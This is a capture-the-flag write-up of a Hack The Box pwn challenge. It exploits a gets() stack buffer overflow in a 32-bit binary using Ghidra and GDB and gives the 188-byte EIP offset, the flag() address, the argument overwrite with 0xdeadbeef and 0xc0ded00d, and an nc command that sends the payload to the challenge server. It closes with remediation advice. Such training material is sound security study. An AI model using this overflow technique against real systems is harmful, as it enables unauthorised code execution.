This report can be read both on this site, and as its original report form. It is highly recommended that you read the original report form instead because it is better formatted.
The binary in question was provided within a zip file. The source code of the program was not given, and analysis was performed using Ghidra for static analysis and GDB for dynamic analysis. Due to the usage of the vulnerable gets() function which fails to perform boundary checks, the program is vulnerable to buffer overflow exploits.
Attack Narrative
The IP and port on which the vulnerable binary runs is given:
IP
Port
159.65.54.50
31449
Other than this information, no other data is provided.
Binary Analysis
Before attempting to execute the binary, is it essential to first analyze how it works.
Behavior
Upon executing the binary, the user is prompted with an input:
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/love]
└──╼ $./vuln
You know who are 0xDiablos:
test
test
Whatever string the user inputs, the same input gets printed back out. To analyze how this binary works, tools such as GDB[1] (for dynamic analysis) and Ghidra[2] (for static analysis) are used throughout this report.
Ghidra
Many different programs can be used for static analysis, however Ghidra, a tool created by the NSA, is utilized throughout this report because of its capability to translate assembly code into C code for easier analysis. Looking at the output of Ghidra, the following three functions are found:
Within main() the string You know who are 0xDiablos: is printed out before the vuln() function is executed. This function allocates 180 bytes to the buffer local_bc before the vulnerable gets() function is executed with local_bc as the argument. The gets() function is a deprecated function within C due to its inability to perform boundary checks on the user input. The manual for the function states to “Never use this function”[3].
The third function of the binary, namely flag(), was not called by either main() or vuln(). The flag() function checks if a file flag.txt exists. If it does, then it performs an if statement in which it compares the param_1 and param_2 to certain hex values. On condition that this if statement is true, the contents of flag.txt are read out.
GDB
Analysing this function through GDB helps in dissecting what the program is doing on the assembly level:
The aforementioned if statement compares the value of the base pointer + 8 to 0xdeadbeef and the base pointer + 12 to 0xc0ded00d. Therefore, a successful exploit will constitute the control of the foregoing base pointer addresses along with the overwriting of the EIP register to point to the flag() function.
Constructing Exploit
EIP Offset
The offset of the EIP register overwrite must first be determined. Within GDB, in order to provide an input to a program which prompts the user for a string, the desired string must first be echoed into a file. The contents of this file can then be run within the debugger. Hence, using the cyclic function, a pattern of 200 bytes was echoed into a file called eip_overwrite as follows:
The contents of this file are then piped into the program with r < eip_overwrite:
┌─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $gdb-q ./vuln
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
pwndbg> r < eip_overwrite
Starting program: /home/0xd4y/business/hackthebox/challenges/pwn/easy/you_know/vuln < eip_overwrite
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabs
aabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────EAX 0xc9 EBX 0x62616175 ('uaab')
ECX 0xffffffffEDX 0xffffffffEDI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂-- insb byte ptr es:[edi], dx /* 0x1e4d6c */ESI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂-- insb byte ptr es:[edi], dx /* 0x1e4d6c */EBP 0x62616176 ('vaab')
ESP 0xffffd020 ◂-- 'xaabyaab'
EIP 0x62616177 ('waab')
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
Invalid address 0x62616177
The EIP register was successfully overwritten, and the offset can now be calculated with cyclic -l 0x62616177:
pwndbg> cyclic -l 0x62616177
188
Thus, 188 bytes can be passed into the buffer before the EIP register is overwritten.
Flag() Debug
With the EIP register successfully overwritten, the next step is to control it such that it points to the flag() function. Before determining where this function lies in memory, it is imperative to first establish that this binary is in little endian format:
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $file vulnvuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
After finding out that this binary is an LSB executable, the next step is to discover where flag() is in memory. This can be done with the info functions command within GDB:
Flag() is at 0x080491e2 which in little endian byte format is xe2x91x04x08. Therefore, upon inputting a string of 188 bytes followed by the address of the flag, the program should call the function:
Before running this malicious string, recall that the program exits if the file flag.txt does not exist. This file was simply created using the touch command as follows:
The comparison within the function in question starts at flag+100 (or 0x08049246). This can be found using the disass (short for disassemble) command within GDB:
pwndbg> disass flag
Dump of assembler code for function flag:
0x080491e2 <+0>: push ebp 0x080491e3 <+1>: mov ebp,esp 0x080491e5 <+3>: push ebx 0x080491e6 <+4>: sub esp,0x54
0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080491ee <+12>: add ebx,0x2e12
0x080491f4 <+18>: sub esp,0x8
0x080491f7 <+21>: lea eax,[ebx-0x1ff8]
0x080491fd <+27>: push eax 0x080491fe <+28>: lea eax,[ebx-0x1ff6]
0x08049204 <+34>: push eax 0x08049205 <+35>: call 0x80490b0 <fopen@plt>
0x0804920a <+40>: add esp,0x10
0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax 0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0
0x08049214 <+50>: jne 0x8049232 <flag+80>
0x08049216 <+52>: sub esp,0xc
0x08049219 <+55>: lea eax,[ebx-0x1fec]
0x0804921f <+61>: push eax 0x08049220 <+62>: call 0x8049070 <puts@plt>
0x08049225 <+67>: add esp,0x10
0x08049228 <+70>: sub esp,0xc
0x0804922b <+73>: push 0x0
0x0804922d <+75>: call 0x8049080 <exit@plt>
0x08049232 <+80>: sub esp,0x4
0x08049235 <+83>: push DWORD PTR [ebp-0xc]
0x08049238 <+86>: push 0x40
0x0804923a <+88>: lea eax,[ebp-0x4c]
0x0804923d <+91>: push eax 0x0804923e <+92>: call 0x8049050 <fgets@plt>
0x08049243 <+97>: add esp,0x10
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
0x08049258 <+118>: sub esp,0xc
0x0804925b <+121>: lea eax,[ebp-0x4c]
0x0804925e <+124>: push eax 0x0804925f <+125>: call 0x8049030 <printf@plt>
0x08049264 <+130>: add esp,0x10
0x08049267 <+133>: jmp 0x804926d <flag+139>
0x08049269 <+135>: nop 0x0804926a <+136>: jmp 0x804926d <flag+139>
0x0804926c <+138>: nop 0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4]
0x08049270 <+142>: leave 0x08049271 <+143>: ret End of assembler dump.
Prior to piping the contents of eip_flag into the binary, a breakpoint was set at 0x08049246 to allow further investigation into the EBP register.
pwndbg> b *0x08049246
Breakpoint 1 at 0x8049246
Finally, the malicious string can be run:
pwndbg> r < eip_flag
Starting program: /home/0xd4y/business/hackthebox/challenges/pwn/easy/you_know/vuln < eip_flag
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08049246 in flag ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS ]─────────────────────────────────────EAX 0x0EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_)--▸ 0x804bf10 (_DYNAMIC) ◂-- add dword ptr [eax], eax
ECX 0x0EDX 0xfbad2498EDI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂-- insb byte ptr es:[edi], dx /* 0x1e4d6c */ESI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂-- insb byte ptr es:[edi], dx /* 0x1e4d6c */EBP 0xffffd01c ◂-- 'AAAA'
ESP 0xffffcfc4 ◂-- 0x41414141 ('AAAA')
EIP 0x8049246 (flag+100) ◂-- cmp dword ptr [ebp + 8], 0xdeadbeef
As expected, the breakpoint at flag+100 was hit. Looking at ebp+0x8, it can be observed that it was not overwritten:
pwndbg> x/x $ebp+0x8
0xffffd024: 0xffffd0f4
Upon looking at the first 16 bytes of the EBP register, an interesting circumstance can be noticed:
At exactly $ebp, the junk bytes that are present in the malicious string can be seen. Following that is a succession of eight zeroes followed by the value of $ebp+0x8 and $ebp+0xc. This succession of zeroes is particularly interesting as it is not clear what it relates to. Modifying the malicious string by adding four B’s to the end of it and piping it into the program ,reveals an interesting behavior within the binary:
Thus, $ebp+0x8 and $ebp+0xc can now successfully be controlled by appending 0xdeadbeef and 0xc0ded00d in little endian byte format (xefxbexadxde and x0dxd0xdexc0 respectively).
Exploit
Therefore, the final exploit will take the following form:
Consequently, the if statement discussed earlier in the Ghidra section will run true. After piping the malicious string into netcat, the flag.txt file located within the server is printed out.
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $nc 159.65.54.50 31449 < eip_flag
You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBᆳ
HTB{0ur_Buff3r_1s_not_healthy}┌─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $
Conclusion
The binary in question was vulnerable to a buffer overflow attack due to the lack of boundary checks performed on user input. The deprecated gets() function was used within the binary despite the security warnings that are associated with it. As a result, memory could be overwritten resulting in behavior that the binary was not written to perform. The following remediations should be strongly considered:
Never use the deprecated gets() function
Usage of this function creates the possibility for security risks that could allow malicious actors to run arbitrary code
Use the secure fgets() function
This function reads user input until a newline character is found or until the buffer gets filled
The aforementioned remediations should be observed as soon as possible. Until this binary is patched, the service running on port 31449 should be disabled.
This challenge was about binary exploitation. There were a total of nine binaries which increased in difficulty after each exploit. Common binary exploitation techniques are discussed in this report including ret2libc, shellcode injection, format string exploitation, among others.
Behemoth is the sequel to Narnia and is rated to be slightly harder. In comparison to Narnia, it involved more reverse engineering exercises and required more knowledge of C. Each binary contained a different vulnerability ranging from PATH environment variable privilege escalation to buffer overflows, format string exploits, and bypassing shellcode filtering.